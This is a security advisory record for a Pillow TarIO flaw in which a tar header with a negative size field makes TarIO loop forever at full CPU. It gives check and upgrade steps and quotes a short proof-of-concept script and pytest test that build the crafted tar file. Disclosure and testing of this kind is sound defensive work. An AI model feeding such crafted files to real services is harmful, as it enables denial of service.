---
id: "CVE-2026-96642"
kind: "vulnerability"
aliases: ["CVE-2026-96642", "GHSA-3j72-p6qg-6xp7"]
title: "Pillow: TarIO negative size field causes infinite CPU-spin loop"
severity: "high"
cvss: 7.1
epss: 0.003329999977722764
exploited: false
status: "open"
category: "package"
products: [{"name": "Pillow", "fixed": ["13.0.0"], "affected": "< 13.0.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-835", "package", "pillow", "python", "self-hosted"]
not_affected_if: ["default-config", "no-tario-usage", "pillow-13-or-later"]
published_at: "2026-10-21T21:20:32+00:00"
first_seen_at: "2026-10-23T19:11:31+00:00"
updated_at: "2026-10-23T21:57:29+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-3j72-p6qg-6xp7", "first_seen_at": "2026-10-23T19:11:31+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96642", "first_seen_at": "2026-10-23T21:57:29+00:00"}]
---

# Pillow: TarIO negative size field causes infinite CPU-spin loop

Pillow's TarIO class does not reject tar headers with a negative size field, so a crafted tar file makes it seek backward and loop forever at full CPU. An attacker who can supply a tar file to an app calling TarIO.TarIO() can hang that process (denial of service), with no data exposure.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:Pillow affected < 13.0.0 fixed 13.0.0

## How to check

Run: pip show pillow (affected if version < 13.0.0)
Search code for: grep -rn "TarIO" your_project/ (only apps calling PIL.TarIO directly are exposed)
Not used by Image.open(), so ordinary image loading is not affected.

## Fix

Upgrade Pillow to 13.0.0 or later: pip install -U "pillow>=13.0.0"
If upgrade is not possible, do not pass untrusted tar files to TarIO.TarIO().

## Timeline

- 2026-10-23T19:11:31+00:00 ghsa https://github.com/advisories/GHSA-3j72-p6qg-6xp7
- 2026-10-23T21:57:29+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-96642

## From the sources

### Summary
`TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.

### Details
`TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:

```python
size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)
```
There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.

### Steps to reproduce

This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.

```python
from PIL import TarIO

with open("Tests/images/hopper.tar", "rb") as f:
    data = bytearray(f.read())

# Set the size field (bytes 124 to 135) to a negative octal value.
# Octal 1000 is 512, so this is size = -512.
data[124:135] = b"  -00001000"

with open("poisoned.tar", "wb") as f:
    f.write(data)

# "does-not-exist" does not match the header name, so TarIO must
# keep scanning. This call never returns.
TarIO.TarIO("poisoned.tar", "does-not-exist")
```

We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.

A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.

```python
from __future__ import annotations

from pathlib import Path

import pytest

from PIL import TarIO

SOURCE_TAR = "Tests/images/hopper.tar"


@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
    with open(SOURCE_TAR, "rb") as f:
        data = bytearray(f.read())

    data[124:135] = b"  -00001000"  # octal 1000 = decimal 512, negated

    poisoned_tar = tmp_path / "poisoned.tar"
    poisoned_tar.write_bytes(data)

    with pytest.raises((OSError, ValueError)):
        with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
            pass
```
### Impact

- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.
- Confidentiality: none.
- Integrity: none.
- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.

---

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